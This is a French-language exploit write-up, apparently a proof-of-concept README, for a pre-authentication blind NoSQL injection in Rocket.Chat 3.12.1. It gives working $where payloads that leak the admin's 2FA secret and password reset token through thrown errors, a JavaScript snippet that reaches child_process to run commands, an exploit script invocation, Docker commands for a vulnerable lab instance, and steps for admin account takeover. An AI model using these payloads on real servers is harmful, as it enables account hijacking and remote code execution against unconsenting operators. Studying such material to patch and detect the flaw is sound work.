
Injection NoSQL aveugle avant authentification menant à une exécution de code à distance dans Rocket Chat 3.12.1
L'utilisateur admin est très probablement protégé par la 2FA. Donc même si nous changeons le mot de passe de l'admin via (1), une demande de code 2FA sera affichée à la connexion.
Le point de terminaison d'API users.list prend un paramètre de requête vulnérable à l'injection NoSQL. Nous pouvons également récupérer des données en déclenchant une erreur.
Nous exécutons la requête suivante pour obtenir le secret 2FA de l'admin : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
Ensuite, nous faisons simplement (1) pour réinitialiser le mot de passe de l'admin et utilisons le secret 2FA pour générer le code qui nous permettra de nous connecter.
Mis à jour : Vous pouvez également récupérer le jeton de réinitialisation de la même manière que vous avez récupéré le secret 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
REMARQUE : Si vous ne souhaitez pas que l'administrateur soit protégé par la 2FA, vous pouvez procéder comme suit.
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)